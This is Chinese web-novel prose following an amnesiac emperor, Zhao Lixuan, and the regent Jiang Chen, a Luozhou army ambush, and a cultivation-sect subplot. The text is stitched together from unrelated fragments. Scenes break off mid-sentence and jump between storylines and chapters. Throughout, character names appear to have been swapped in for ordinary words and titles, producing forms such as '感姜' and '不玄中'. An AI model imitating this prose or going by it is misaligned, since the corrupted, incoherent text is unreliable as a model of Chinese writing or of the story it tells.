皇帝则做贼一样轻手轻脚戳开门、踏出院子、踩上砖石。还别说冬夜的京城里真心冷飕飕!这砖冰死我了。 嘿咻,我爬。 别人是天子守国门,大夏锦裕帝是天子爬墙头。 不过话又说回来。赵离玄一直都觉得自己这名号“锦裕”,怎么听怎么都有种好吃懒做的感觉。 就,什么正经皇帝会叫“锦裕帝”? 看太|祖爷年号乾元、武帝年号宣威,他父皇年号宣明,哪个听起来都比这靠谱得多。 不提也罢。 青山不就我,我去就青山。 半夜不怕黑,跑去哄岚岚。 赵离玄此番爬墙计划周全。当然,前车之鉴,这次必须得狡帝三窟。 为防姜沉翻脸无情直接把他关回来,赵离玄决定最后再去点绛宫! 在此之前,先去史馆、御书房等处碰碰运气,指不定能记起来点什么。 反正今夜还早,月色也好。 十五的月亮照得地上一层朦胧光晕,路都看得清。 只有一点不妙。 这月黑风高那么冷的天,按说守军都找地方猫着烤火了,宫墙下不可能有人。 却万不成想,一低头,墙下一人正愕然看着他。 走马灯的结果,却是脖子一紧,被人提着后襟狠狠往后扔去。 楚丹樨:“滚,少碍事。” 邵霄凌:“……” 洛州少主摸着还在温暖跳动的颈侧庆幸劫后余生,同时又疯狂不服想骂人。 那一下我自己也能躲开!! 然而顷刻之间,他就又被人捉住了后颈。这次是李钩铃,一把将他丢给了从后面冲上来的钱奎。 钱奎二话不说,又把他往身后扔。 “少主,刀剑无眼。” 这位花拳绣腿的少主,又不比当年久经沙场的老主人,还是独苗一颗。与其在这逞能,万一丢了命这篓子就捅破天了。 邵霄凌吱哇乱叫:“我还能打,我能打!” 钱奎:“您回山上,跟城主一起督战,快去。” 邵霄凌含恨被退货,一路喃喃自我安慰:“我虽未能亲手诛杀樱祖,但龙爪军适才……也诛杀了许多仪州余孽。” 叹息着回到山上。 远远只见月华城主一身玄衣坐在青石之上,正和卫留夷……贴贴?? 邵霄凌当场热血冲脑。 是可忍孰不可忍?怪不得钱奎一个劲让他回来,原来这两个人在背着他勾勾搭搭! “喂——!”他大吼。 气死人了!他当年那样对你,就算你长的是丑了点,也不至于这么自卑不挑吧?能不能有点尊严,有点傲骨? 哦,等等。 他看错了,好像只是卫留夷单方面想要搂人家。 正确来说,是卫留夷的手正偷偷在人背后肩上悬着,但并没敢落下去。并且被他一吼之后,马上恼羞成怒咬牙瞪他。 如此波流暗涌,赵离玄全无觉察。 他正抱着他家可爱的小侄子邵明月,沉迷战场教学。 邵明月:“我懂了!敌军兵力虽是我洛州两倍,但合兵之前,各路人数其实不及我军。” “因此,我们只需赶在他们汇合之前,抓准一路进行奇袭,便有机会反败为胜。” “加之此处又是我洛州境地。我军熟悉地形,更可算准敌军路线,提前埋伏以逸待劳,像这般从山上万箭齐发,不费一兵一卒便打他们个措手不及!” 赵离玄:“嗯,对。” “而剩下两路敌军,也可用此法逐一击破。是么?” 赵离玄点头。 侄子很争光,邵霄凌很得意。大摇大摆走过去挤开卫留夷挨着赵离玄盘腿坐下,“聪明吧?我家的!” 随即伸出一只手,“夫君,我受伤了~嘶——疼,给治治!” 手掌展开,虎口一道小小的裂痕。再不包扎马上就要自己好了。 “夫君,真的疼……” 赵离玄无奈,从袖中掏出一只牡丹纹样的小瓷瓶。 卫留夷:“听闻仪州素来阴险,伤口指不定有毒,不如先挤点废血出来。” “???” “等。嗷嗷嗷嗷,疼——放手!放手!” 邵霄凌气得差点被咬人。还能要点脸吗,这卫留夷真疯了不成? 赵离玄:“……” 古人说得好,一回生,二回熟。 如今再看到这等“睦邻友好”的名场面,他都见怪不怪了——甚至觉得这回味儿不够,都没打起来。 垂眸笑笑。 其实,人生能偶尔有点这样的场面,也挺好。 这样万一将来,他真要一个人孤零零死掉,好歹死前也能骗骗自己,他其实也有人抢过的。 卫留夷会突然那般咬牙不忿,大概因为他刚才从怀里掏出的那瓶药,其实是乌恒千金难求的鹿韭愈创膏。 卫留夷昨晚才送他的,非常贵重。 昨晚,安城月下,卫留夷又被李钩铃叫出去训话了。 什么“一百个叶锦棠都比不过一个穆玄,你总有一天会明白”,这话就连赵离玄都不是第一次听了。 其实吧…… 虽然月华城主从不回头,但有时心里暗戳戳的,也难免会有一点点小小的奢望—— 就是他那些阴魂不散的前任里,要是偶尔也能有那么一两个,是因为真心有点喜欢他才回来找他,那就好了。 可惜,都是后知后觉发现他很强很好用,才回头来找他。 唉。 算了。 默默叹了口气,怀里邵明月再度抬起头:“可我还有一事不明。” 他指着地图:“明明府清城同仪州挨着,秀城离随州更近,而池城与拓跋部比邻。可姜沉为何却将府清给了拓跋部,秀城给了仪州,而把池城给了随州?” 这不全都南辕北辙了? 赵离玄笑笑,摸了摸他聪明的小脑瓜。 “是啊,姜沉故意的。” “他从一开始就没安好心。” “你想啊,如今天下大乱,群雄各怀鬼胎,若是常常彼此接触,究竟是会睦邻友好、还是更容易滋生事端?” 三座城这么刻意打乱一送,三方势力要运兵运粮,常常都要向对方借道。虽是名义上的盟军,可今天军队从你门口借道一下,明日粮草又再过一下。哪天遇到看城门的将士心情不好,都有可能从言语摩擦上升到械斗内讧。 邵明月不解:“可西凉与他们……也是盟军啊?” 姜王为何会希望盟友不和? “在姜沉看来,那些人非但不是盟友,还是对西凉‘盟而不服、降而不归’的野心贼党,”赵离玄说到这,不着痕迹补充道,“毕竟,不是天下盟军都有如我们洛州与乌恒一般,多年情谊牢不可破。” 邵明月这才觉察自己不小心说错话了。 还好月华城主不着痕迹替他圆了回来,但小小少主也不慌,马上抬起头来对卫留夷笑道:“那当然,我洛州经历天昌之痛,对卖友求荣者素来深恶痛绝,自不会如那西凉蛮族一般!” 众人心中窃喜。 可见之前的铺垫还是奏效的,小师弟知晓赵离玄是什么货色,没有被迷惑! 然而,按说以如赵离玄以往的自负倨傲,屈尊降贵讨好却遭冷待,必会觉得大失颜面。 多半会从此记恨上姜沉,日后见面少不得冷嘲热讽、百般刁难。 谁成想这次,赵离玄不仅不气,隔日还又笑眯眯寻了来。 “小师弟,这是后山刚结的灵果,最是清甜,你尝尝?” “小师弟,我看你院中冷清,特意为你移了这株荷塘里开得最盛的。‘映日金莲’。” “小师弟,你总是不言不语的,可是身子不适?我你喜不喜欢吃烤野猪,我恰好昨天猎了只” “小师弟,近日天寒,这件白狐裘你且披上,莫要冻着了。” “小师弟” 赵离玄竟这般殷勤备至,嘘寒问暖,持之以恒。 太不正常了,直看得旁人头皮发麻。 这人还两幅面孔呢,可怕得很!!! “不!不好痛!”夜色朦胧,红烛落泪。 男子冰冷的手掐着他的脖子,目中寒意好似星河陨落、山川灭寂。 而赵离玄这边则重伤无力又被压迫着发不出声,直被掐得三魂离体,无力地蹬了蹬自己那双裹满纱布的大长腿,心道完了完了我这下是凉透了。 好在关键时刻有人破门而入! “姜沉、姜沉住手!万万不可!万万不可啊!” 闯进来的有三人。一个红衣眯眯眼俊俏青年太监,一个黑衣小侍卫,一个藕裙小侍女。赵离玄失忆失得相当彻底,完全想不起来他们仨是谁。 可那三个人明显对他都很是熟悉。 小侍卫:“赵离玄!!!赵离玄您终于醒了!赵离玄!您睡了整整两个月!云飞还以为您、您幸好您撑过去了真是天降福祉佑我大夏呜呜呜!” 小侍女:“嘤嘤嘤嘤嘤,终于醒了!闻樱这就去给赵离玄取粥!” 只有那眯眯眼红衣太监相对沉稳一些。 “主子,赵离玄重伤未愈,您那么多日一直不眠不休守着盼着,如今人好容易醒了,您这又是何必?” 就是就是! 赵离玄捣蒜一般跟着点头。又是何必! 不过话说回来总归是有人护驾了,他暗暗松了口气,心想起码暂时死不了了。 结果高兴得太早 那“姜沉”一把甩开红衣太监:“滚。” 只见他黑发垂床、目若寒霜,凌厉俊美的脸庞再度欺身而至,还顺手拔出了拴在床边的一把佩剑?! 寒光闪过。赵离玄:“???” 等一下!不是。你区区一个臣子,试问是怎么能光明正大在龙床上栓兵器利刃的!? 刀锋架在颈子上,一丝微痒。 赵离玄至此虽然没有花容也彻底花容失色。毕竟这!可不是一般的欺君犯上了吧? 这什么姜沉,简直眼里根本就没尊卑君臣啊?简直就是胆大包天、目无朝纲啊?简直就是赤|裸裸的谋逆,这人简直 一旁小侍从小侍女见状也吓傻了,双双扑通扑通跪下含泪刷刷磕头:“姜沉啊啊啊!姜沉不要啊!姜沉不可!” “姜沉就饶过赵离玄这一次吧?” “姜沉开恩呐,您就放过赵离玄吧?!” “姜沉您轻点,赵离玄的伤还很严重呜呜呜!” 姜沉目中闪过一丝凶狠和不耐,回首一剑床头明烛滚落一地。小侍从小侍女当下脸色煞白齐齐噤声,寝宫内只剩哐哐磕头声。 刀下气抖苟的赵离玄:“?!?!” 不是。你们三个!到底行是不行啊?光磕头有啥用?你们倒是继续替我求饶啊? 不不,不对,你们倒是冲上来救驾啊? 我可是天子! 难道此种场合不该是你仨临危不惧义正辞严维护君权痛斥逆贼的吗?为何却不念君臣尊卑,反而整齐划一的跪地“求姜沉饶赵离玄一命”?到底谁才是圣上天子? 唉,完了完了。 赵离玄长叹一声。 他寻思着,自己之前必是个天杀的无能昏君狗皇帝没跑了。手中毫无实权,被权臣欺压死、不得翻身的那种! 太惨了太惨了。什么万里江山、世间绝色,都是泡影、浮云! 一觉醒来突然失了忆,还被乱臣贼子拿刀指着的悲催天子赵离玄此刻实在承受了太多,内心完全是崩溃的。 “好痛,好痛!” 她咬牙喃喃,突然一声狂吼,发出的竟不再是女子的尖叫,而分明像是个男人嘶吼般的声音。 姜沉一惊,琴声骤停,与此同时那何采薇眼中神色也一变,虽外貌相同,却突然之间好像是换了个人,那其中灵光狠戾绝,不是少女的眼神 “姜姜大哥” 赵深离得最近,真切地看得“何采薇”摇摇晃晃,望向姜沉时眼神渐渐从迷惑转为彻底的清明,更从懵懂不安变为了□□裸的嫉恨怨毒。 还在困惑中,下一瞬,余光却忽然一道刀光从身侧飞来。 “!”赵深下意识一避,一把从天而降的匕首直直击碎了才坐过的假山石,那处瞬间裂成粉末。 “什么人?” 宫渡作为玄碧宗首席大弟子,是何等的训练有素。提剑便往客栈小院墙上的一抹黑影直直追了过去。良宵见状忙抹了把眼泪匆匆跟上,两个弟子的身影消失在茫茫夜色之中。 也就这么一眼而已。 赵深再回过头来,却只见一盘子热腾腾的小酥饼摔落在了地上! “何采薇”一个大活人,凭空小院里消失不见了。 “姜总?” 四下里,更是没有了姜慎行的身影。 糟了!他人呢?!该不会是被那“何采薇”劫持走了吧?但他不会武功啊,岂不糟糕? 忙去找姜沉,却见姜沉半跪在刚才的碎石边,手中正握着刚才那把从天而降砸碎了假山的匕首发呆。 【姜师兄,其实我、我同时兰小师妹她】 犹记十多年前,秦熠一脸的纠结愧疚,进门后便给他跪下。 【请师兄同意我们!若师兄可以真心祝福我和小师妹】 他是知道的,他也喜欢她。 既都知道了,姜沉心底苦笑了几声,一切尽在不玄中就好。又何专门必来问? 【若我不愿祝福,你便要放弃师妹么?】 秦熠一愣,脸色惨白:【师兄秦熠不能放!】 【你瞧你,不过逗你一下而已。】 姜沉摇头一声,轮椅一转,躬身从旁边樟木箱中取出一个金色小匣。 【你好好待小师妹。那月莲教的妖女,神医谷的姑娘,还有凌微楼的大小姐,以后不要再跟她们牵扯了。这个,算作我聊表心意的礼物,祝你们二人一生幸福好合。】 盒子打开,里面是两把一对宝石匕首。大一些的剑刃发蓝,小一些的剑刃发红。秦熠认得那是很名贵的“双宿红鸾刀”,知道师兄这是真心祝福他们,不禁感动万分。 【秦熠多谢师兄!】 而如今,姜沉手中拿着的那把,刀刃在月下正隐隐泛着红光。 “这是小师妹的红鸾刀。” 第 27 章 第 27 章 尘封的心像是突然被什么捅开了裂缝。已经好久不曾感觉到的各种酸甜苦涩的情感从四面八方袭来,呼吸整个儿急促起来。 姜沉努力压抑,耳边絮絮听得仍是那赵门青年的低语。 “我盘算着啊,咱们先去找邪医,让他帮你医好你的腿。等腿好了,我便带你踏遍三山四海去寻那人,一定想办法让你们师徒重聚,好吗?” 烛火噼啪,姜沉恍惚了半晌,再开口只觉声音艰涩,听起来都不像是自己的。 “我罪孽深重,被罚幽禁山庄,一生一世都不能离开。” 赵离玄却微笑道:“这你放心,我想得出办法带你走!给我点时间。” 【你放心。】 今日在光明堂上,这人似乎也是这么跟他说的,说不会让人冤枉他。 确实没让人冤枉他,可是叫他放心? 心?众人做着牛马,再度坚定了“赵离玄这人就是骨子里坏透了!真的很讨厌啊啊啊!”的信念。 但又觉得,似乎还是应该借由此事,摒弃前嫌 “和解”并未成功。“青卿。” “我要怎么说” “实在不行,青卿再编一个说得通、过得去的缘由也行,骗骗我,我也认了。” 这话说得言辞卑微。 可赵离玄此刻的内心非但不卑微,反倒是万分真诚、清明坦然。 姜沉有心隐瞒,前尘真相未必多美好。他未必一定非得给自己找不痛快。 只是,他得要姜沉重新给他一个故事。 姜沉聪明,按说编个故事骗骗他又不难。只要别像这个一样全然说不过去、糊弄得那么明显。 他便睁一只眼闭一只眼,不再纠结。 此后,两人心照不宣。 他安心一辈子做他的假皇帝真摄政王夫,沉迷姜沉美色、醉卧美人膝,也没什么不好。 赵离玄在黑暗中,目光清明。 他想姜沉这般玲珑心肝、聪明剔透,不会不明白他什么意思。 皇帝已妥协得不能再妥协,姜沉没道理不答应。 却未料,姜沉突然就疯了。 黑暗中,一阵天旋地转,冷香倾轧。 姜沉声音涩然低哑,濒临崩溃一般:“我已说过多少次我从来不曾骗你,我这一生从来没有一次骗过你!” “阿玄,你是亲口说你信了的,君无戏言!” “如今这又算什么?” “赵离玄,我究竟,究竟做错了什么?” “到底还要我怎么证明?到底我应该做什么你才可能会相信我,你告诉我!我到底该怎么做?” 一切发生得太快。 等到赵离玄彻底回过神时,姜沉已经离开了,就连那冷冷的余香都散去殆尽。 楚微宫门重新重重落了锁,他正一个人正孤零零站在沉沉的门扉边。 冬夜的地砖好凉,冰寒刺骨。 云飞樱儿:“赵离玄这样不行!会冻着的,快穿上鞋!” 地上是凉。 可适才姜沉离开时,也是一身单衣。 傍晚的时候下了雪,此刻外面又是极大的风雪,他身上那么单薄,也没有伞。 宫门紧闭,万籁俱寂,只有门外大雪森嚎的呼啸声与门缝里透出丝丝森冷。 侍从侍女怎么劝,赵离玄始终不情愿走。 他总有个错觉。 似乎只要他在这站着,站一会儿,一会儿姜沉就又会回来了。 但这想法果然只能是错觉,适才姜沉的声音沙哑,已带着几近血腥味的苦涩。 赵离玄不傻。 当年鸢妃的猫再喜欢粘着他,可一次他不小心踩着了喵咪尾巴,小家伙也气得半个月没再理他。 何况一个大活人。 越是宠溺纵容,真心以待。真的痛了越是会记得清楚透彻。 伤了心,又哪儿还能那么容易再轻易回头。 赵离玄就是万恶之源!!!山风簌簌,热浪扑面。 乱世之中,百姓流离失所,许多落草为寇。仪州军起初还以为是什么宵小贼寇胆大包天。 抬眼望去,却只见湿热山雾之中,两边高山之上整装森严黑压压一片,竟似一支严整军队。 伏兵?四目相对。 赵离玄从上面看去,底下是个气质儒雅的俊朗官员,一身大夏红涤白衣的三到五品高官官服,系着紫玉腰牌,提着一盏很风雅的桃花灯。 人美灯华,还是个大帅哥。 墙头马上遥相顾,惊鸿一瞥也可谓一景了。这若是平日里也算一段风流趣事。 只可惜,此美男出现得忒不是时候!!! 一时骑墙难下。偏偏转角又传来了太监窸窣渐近的脚步声:“走快点,快点!拂陵公公催得急呢!” 赵离玄 先帝爬墙未半而中道崩殂。 却突然一阵风天旋地转,他直接被从墙头拽了下去并摁进了墙角腊梅从中。花枝戳脸,一阵幽幽腊梅香馥郁。 太监头子:“是谁!” 男子:“是我,王公公巡夜辛苦了。” 太监头子提灯照了照,马上换上一张笑脸:“哦哦,原来是奚大人!怎么,奚大人今日议事太晚、又要彻夜不归了?” “事务繁多睡不着,距早朝还有两三个时辰,出来逛逛、醒醒头脑。” 一旁小太监小小声提醒:“可按照宫规,臣子夜间留宿在宫中时不可随意” 太监头子:“混账东西胡说什么呢?奚大人乃是堂堂大理寺卿,姜沉都要敬他三分!奚大人睡不着逛一逛怎么了?新来的不懂事别乱说话。” “哎哟,师父,疼!不敢了!” 赵离玄躲在腊梅花丛,袖子下面疯狂掐自己手心。 大理寺卿莫不是莫不是“那一位”奚卿?! 赵离玄知道的“大理寺奚卿”就一位,就是奏折疯狂毒舌那位。但他一直以为这个调调的奚卿应该是个愤世嫉俗、尖酸刻薄的老头子。 居然那么年轻,还如此的清雅俊逸、一身正气? 赵离玄自知有病要治。 但没用!狗皇帝大冷天的蹲腊梅丛里被花枝戳着屁股,却已开始直勾勾盯着这位大理寺卿的腰瞧! 话说,本朝官服确实好看。 品位绝佳,大冬天都束腰显身材,衬得人精神笔挺。 终于,一行太监走远了。 赵离玄被一把从腊梅丛里捞出。月光下,那俊朗男子明眸中闪着明亮的火光,不敢置信地把他上下瞧了一遍。 “真的是赵离玄?” “真的是赵离玄!臣奚行检,参见赵离玄!” 赵离玄:还真是那位奚卿呀! 但是,怎么可能? 漫天箭雨破空坠落时,大军根本不及反应。 人声惨叫、马儿嘶鸣。 樱祖大为震愕,待片刻后看清大旗更是不敢置信:“洛州军?但他们此刻难道不该是在、在去府清城的路上么?” 按照道理,洛州军想要收复三城,需先夺府清。 可翡翠谷这条路,却是蜿蜒曲折于安城到秀城之间。人尽皆知,秀城大营里还有他儿子樱庭带大军驻扎。洛州军这般深入翡翠谷乃是冒着被仪州大营巡逻哨兵发现、全军覆没的风险! 可一切已不由得樱祖细想。 一支利箭划过眼前,身边副官应声坠马。 周遭,惨叫声,嘶鸣声。几轮箭雨如此之快,顷刻之间死伤无数。 “大人,我们被包围了!” 事到如今,再纠结对方何以兵行险着已毫无意义。仪州侯樱祖的脑海中,有一瞬想过赶紧撤离。 此刻唯一正确的决定。 他清楚知道,迟钝片刻便是成倍损失。 可是。 可是啊,安城就在眼前,剩余的大半洛州就在眼前! 这本该是他仪州起势、逐鹿天下的第一步—— 筹谋多年,一切天衣无缝。耳边仍有新纳歌姬的温言软语:“此番是夺得天下的棋开一步,大人~再饮一杯。” 本该如此! 樱祖的心在懊恼和不甘之中剧烈跳动,恍惚中想起狩猎时遇到的狼王,为了贪欲踏进明显的陷阱。 兽就是兽,可反观他此刻不也如是? 整个洛州、整个南越,他的一世功业……就在眼前。赫赫功名的第一步,又怎会甫一开始就功亏一篑? 到底是谁。 洛州是谁指挥,用这毫无道理的打法乱了他的千秋大计? “樱祖大人,怎么办,呃啊——” 下属慌乱的惨叫,将他拽回现实。 一切思绪如梦幻泡影。待回过神时,已是三轮利箭之后,仪州兵死伤无数,山上众洛州将士也早已摩拳擦掌整装待发,只等月华城主一声令下。 赵离玄却迟迟不抬手。 又是一轮箭雨,再一轮。 身边,两米高的壮汉钱奎憋得脸都快紫了:“城主!钱奎请求出战!” “十万洛州将士请求出战,为旧主报得血海深仇!” 又是两轮箭矢。 “城主!洛州全军请求出战!” “城主!!!!” 赵离玄这才缓缓抬起眼来,缓缓举起缠着绷带的手,金色的半面具下,目光清明。 "钱将军听令。前锋部队,准备迎敌。" 谷中山呼响应,气势如虹。整个洛州军憋屈了大半年,等这一天都等太久了。 钱奎拎起狼牙重锤:“老主人,阿奎来替您报仇了——!” 邵霄凌:“父兄的遗志由我继承!” 李钩铃:“我也去!” 他竟利用养伤期,偷偷学会了一个高阶的障眼法术。 并且在下一个绿晶秘境里恶作剧,精心布置了一幕唯有高阶紫晶秘境里才可能出现的“噬魂幽狱魔”的幻象! 当众师兄弟看到那魔影顶天立地,煞气几近凝成实质时,全员差点都没原地魂飞魄散。 那可是他们宗门的师尊长老,都未必能对付的存在啊! 幻境袭来,所有人四下奔逃。 直到狼狈逃出秘境,被在入口候着的赵离玄小弟们肆无忌惮疯狂嘲笑模仿,才知是上了当! 牛师兄暴怒:“你们!在秘境里私设幻术装神弄鬼是大过,我、我定将此事上报长老!” 小弟不屑嗤笑。 “哈但是,你们也得感姜那只是幻境吧?” “毕竟~你们一个个的,可是把姜师弟一个人丢在原地,自己全跑了啊。” “若那噬魂幽狱魔是真的,他此刻还有活路?” “一群道貌岸然的伪君子!天天装得对姜师弟嘘寒问暖,其实呢?还不是大难离头各自飞!” 众人这才陡然发现,姜沉居然没从秘境里出来。 登时又惊又怒。 “姜、姜师弟人呢?”赵离玄悠悠转醒。 眼皮千斤重睁不开,但已听得清周遭声音。 姜沉身上冰凉的幽兰熏香,浮荡在身边沁人心脾。 另一侧则是窸窸窣窣的脚步声与一阵草药香,老太医颤巍巍、絮絮叨的声音传过来:“赵离玄身体虚弱,还需静养,至少半月不可下床、不可动怒、不可动欲” 说完这些,老太医又嘱咐了好多药材使用和静养一类的事宜。 左手手腕微微一疼。 他被老太医拿银针扎了。 扎就扎吧,哪怕是真龙天子,有病有灾时被扎个针也是家常便饭。 可是这边手腕针针刺刺的也就罢了,另一边手腕却也没落着闲。 有什么凉丝丝的温存的触感,一啄一啄的。一阵酥酥麻麻。 竟是那姜沉正握着他的右手,在细细亲吻、咬噬他的指尖。 赵离玄 惨啊。 老太医是真的惨。 一个老人家垂垂老矣还要颤巍巍入宫诊脉本已是十分不易,却还要一边施针一边眼睁睁看摄政王旁若无人亵渎君上。这实在是,唉。 片刻,又有脚步从外而至。 似乎是那红衣太监,声音沉沉的悦耳:“主子,赵离玄昏睡已整整三日,您每日白天里忙着西南水患之事,晚上又通宵守着赵离玄,总是不吃不睡如此身子要吃不消的!” 姜沉置若罔闻。 冰凉的长发和唇继续蹭着赵离玄的指尖。 太监叹气,又道:“主子,您瞧您这,笔都握不稳了,太医的嘱咐拂陵来替您记吧!主子放心,拂陵保证一字一句仔细记好、绝不遗漏。” 姜沉:“不必。” 太监无法,也有些急:“主子您又何必偏要如此自责?” “太医都说了,赵离玄此次吐血晕厥绝非是因为主子一时气急失了分寸的缘故,而分明是、是因赵离玄昏睡两月有余进食进水少,赵离玄他只是只是饿晕的!” 赵离玄:“???” 赵离玄 行吧,不愧是我。 “吐出的血亦全是废血,能吐出来反倒是好事。主子,您就信一回太医说的吧,赵离玄已经没事,很快便会身体大好,反倒是您这几月一直病着,须多为自己的身子着想才是!” 姜沉:“吵。” “拂陵,你若闲着无事,去尚书阁把那些未批的折子给本王拿来。” 拂陵:“主子您还要批折子?!您都几天未睡了?” 姜沉:“洛水水患百姓受灾,一切事宜急不容缓,快去拿吧。” 红衣太监不情不愿,却拗不过他,长叹一声退下了。 殿内便安静下来,只剩烛火噼啪轻响。 不一会儿,那红衣拂陵回来了,他既劝不动姜沉,也就只得在取折子时又差人做了夜宵来。 滚烫的桂花汤圆,甜丝丝的香勾得躺着的赵离玄馋馋的。 可听声音,姜沉却一口未动。 寝宫安静,只有姜沉烛火下批阅奏折时蘸墨的声音。 洛水水患 赵离玄躺在床上,闭目寻思着。 这西南洛水冬汛确实麻烦。在他们大夏,随着总是年景几年就有一次。 上一次大灾是三年前,再上一次是七年前。类似的汛情总是每三四年就来一次,上游深秋雨水一直下个不停,然后下游就遭灾遭难。 每次冬汛,朝廷都要收到一大堆折子,忙得焦头烂额。 实在是灾区面积广阔又多山川丘陵,路也难走,百姓也多。朝廷一套忙下来,开仓放粮、游说富户,动作要快,又要防止官员办事拖延、相互推诿、中饱私囊等等等。 每次治水都耗费极大人力物力,事后提拔奖赏一批办事尽力的好官,整治一批贪官污吏,举国上下无异于扒了一层皮。又总是刚查完,新的一轮冬汛很快又来了。 赵离玄一直都知道这事不能一直如此疲于奔命。 说到底,洛水河底淤泥不清除,河道不拓宽,始终是治标不治本。 然而想要治标治本,却又得花大价钱、寻到有能之人,可这几年朝廷国库虽有结余,北方大漠国又蠢蠢而动、南方各族亦不老实,更不要说广开航路的西洋之国频频来访 既要友好邦交,又要想法子震慑这些外邦,也需绞尽脑汁,也需一堆银子。 唉。泱泱大国、内忧外患、诸事繁杂、实在是难。 想要解决,得一件件慢慢来,非一日之功。 不知道。 实是适才幻象太过真实恐怖,众人求生的本能压过了一切。谁又能想到最厉害的姜沉未能逃脱? 可是绿晶秘境一旦脱出,短时间便不能在进入。 众人只能焦急守在入口,好在姜沉也没让他们等太久 很快,绿晶秘境被突破,渐渐散去了。 可秘境散去,空气中却仍旧不对劲地弥漫着浓烈的焦糊味。 和剧烈的灵力震荡中,突有火光乍现,燎得周遭无数草木瞬间萎缩漆黑。 有人道:“快看!” 可他早都没有心了吧。 人人都说蚀骨琴魔姜沉的心,早被豺狼恶鬼吃了。 “还有啊,你也别再傻傻跪着了!这么大的雨,根本没人会来祠堂查你。来,快起来吃饭!我问厨房要了酒酿元宵,是你喜欢的桂花馅儿的。还有密制酱肘子、什锦碧蔬,汤是上好的香鸡芙蓉,待会儿可要凉了!” 赵深说罢,就要来拉他,白衣人却没有起身。桌上酒菜滋滋香气,他却只在电闪雷鸣间死死盯着那红衣青年清澄黑亮的眸子,不知想要从中寻出些什么。 为什么呢 为什么突然对我好? 你想要什么?我又还有什么值得你要? 法宝蚀骨魔剑早在五年前被燕云宫家带走封印。连同毒蚕秘籍、天弦功法、摄心曲谱甚至魔琴殉音也一并被亲手烧毁。他如今所有的,无非也就是些记在心中的秘籍心法罢了。 姜沉想及此处,不免觉得自己有些可笑 早就什么都没有了。 又是废人一个,还怀疑别人有什么居心? 人家赵离玄再怎么说,也是堂堂名门正派的嫡少,年纪轻轻便武功大成,甚至和秦熠平分秋色。他那些邪门歪道的秘籍,人家还真未必看得上眼。 那,究竟是为什么呢? 总不该是突然想要拿他这废人做消遣吧? 第 28 章 第 28 章 当夜,赵离玄辗转难眠,干脆起来巡夜。 魔气弥散,四处人心惶惶,不少弟子也睡不着,干脆偷偷起来聚赌,就这么被踹门逮个正着! 众弟子魂飞魄散,以为必遭重罚。 谁知赵离玄只阴恻恻扫过他们一眼,随即大马金刀岔开腿往庄家桌一坐,劈头就问: “眼下什么赔率?” 一群人正缺德地在赌姜沉究竟几日才能从紫晶秘境里出来。 三日、五日、十日、一个月都有人押,赵离玄默默不语。 咋就没有“死外头”这个选项呢?! 直到天际泛起鱼肚白,他才巡夜结束,犯着困往回走。 谁知路上“咕咕”一声,一只小黄鸡又摇摇晃晃追过来。 赵离玄不由嗤笑:“怎么了啊乖乖?难不成你主人都没来得及管你?” “都瘦了。啧啧,他若回不来,你迟早也是一锅鸡汤。”片刻后,皇帝长身玉立,已负手站在了点绛宫后门的宫墙边。 他傻了。今夜许多故事,一时消化不良。 赵离玄一一寻思着。 那位奏章批语曾屡次惊艳他的奚卿,其人眼睛清澈、一身正气。他一直想寻些个可以全盘信任的忠心旧臣,如今终于寻到了。 可惜并未来及多说几句话。 而那个所谓“罹历大火、史书被烧”的史馆。 适才躲进去时赵离玄特意留心看了一下,砖瓦院墙各处根本并未有一点点被烧过的迹象。 没有烧过,起居注无理由重抄。 奚卿认定姜沉谋逆不轨,不似挑拨。 可拂陵讲述的前尘,同样言真意切。 真相扑朔迷离,桩桩件件难解。 我的失忆人生,实属新鲜刺激!!! 但无论如何,今夜点绛宫哄岚岚始我始终还是要去的。 赵离玄敬佩自己的勇气。 适才奚卿说姜沉谋逆,他回了什么?他毫不犹豫说了姜沉不会。 他有救吗?没救。 但能不护姜沉吗?不能。什么“诛伏逆臣”,你们这些忠臣千万莫要轻举妄动伤了我家大美人的手指尖尖,我舍不得! 色令智昏,着实没救。 他忘了一件事。 点绛宫的宫墙虽和楚微宫一样高,但他从楚微宫爬出来的时候是有花圃踮脚的,而点绛宫外啥都没有。 缺了那小半人的高度,他!爬不上去了! 没事,不慌。 我习过武,依旧可以一试! 于是堂堂天子便开始没有形象地花式扒拉上墙。悲催地发现各种扒拉不上去,一身明黄活像一只爬不上墙的金龟。 不慌,我不气馁。远离,飞奔,一跃而起 “赵离玄?” 手一抖,赵离玄努力让自己落下来时保持一副俊朗从容帝王样。 倒是没有摔伤,被人接住了。 一袭红衣,淡淡幽兰香,姜沉家美太监服侍得久了身上也沾染了一些主子的味道。身后还带了黑压压一大帮凶神恶煞的乌衣卫。 赵离玄:“呵,呵呵,这么巧,拂陵公公半夜不睡好兴致?” 几日不见,拂陵似是憔悴了些:“赵离玄怎么从楚微宫中出来的?” 赵离玄:“咳,这不重要。” “公公只需知道,我是为了姜沉才想方设法出来的!” “我是真的想姜沉了,我自知生性愚钝不敢与姜沉争锋,是心甘情愿给姜沉摄政、让姜沉金屋藏娇!可既是金屋藏娇了,那好歹藏我之人每天来看一眼我啊?” “公公实在不知,这几日是深宫寂寥、望眼欲穿。过去之事,我自知对不住姜沉,可总得见上一面我才能想法子让姜沉消气啊?” “公公好心,就放我进去见姜沉一眼吧,哪怕说上一句话呢?” 月影东移,拂陵默然。 “即使如此,赵离玄随我来。” 赵离玄:咦?啊?这就成了?? 这,竟还是大模大样走的点绛宫正门? 亏了亏了,早知道如此我一开始就爬墙了! “加干蘑、枸杞、芡实、生姜炖得香香的。” 赵离玄四下张望,见无人注意,一把将鸡揣走。 “你主人是不中用啦” “但看在还算可爱的份上,以后跟我回去过吃香喝辣吧!” 然而,赵离玄安顿好小黄鸡后,还是下了山。 接到掌门对牌的狗腿师弟不知所措:“啊???赵师兄,我吗?” 紫晶秘境入口魔气汹涌,黑雾缭绕,像要吞噬一切。 赵离玄吞了吞口水,陡然清醒还是小命更重要吧? “我真是脑袋被门挤了才想着寻他他是死是活关我什么事?仙门颜面、天才陨落与我何干?走了走了!” 脚步却像灌了铅般挪不动。洛州大军北上,已在昨日进驻安城。 赵离玄是入驻安城后才得知,原来那姜沉姜沉前几日竟大笔一挥,偷偷将西凉所占洛州的三城悉数送给了“盟友”。 最南边的府清城,送给了刚刚脱离东泽盟军、赵名投奔姜沉的东泽拓跋部族;中间的秀城,给了卖友求荣、背叛南越的仪州侯樱祖;而北边与东泽接壤的池城,则赠给了北幽的新盟友随州侯。 乱世之中,乍看不过是送出区区三座城池而已。 算不得什么大礼。 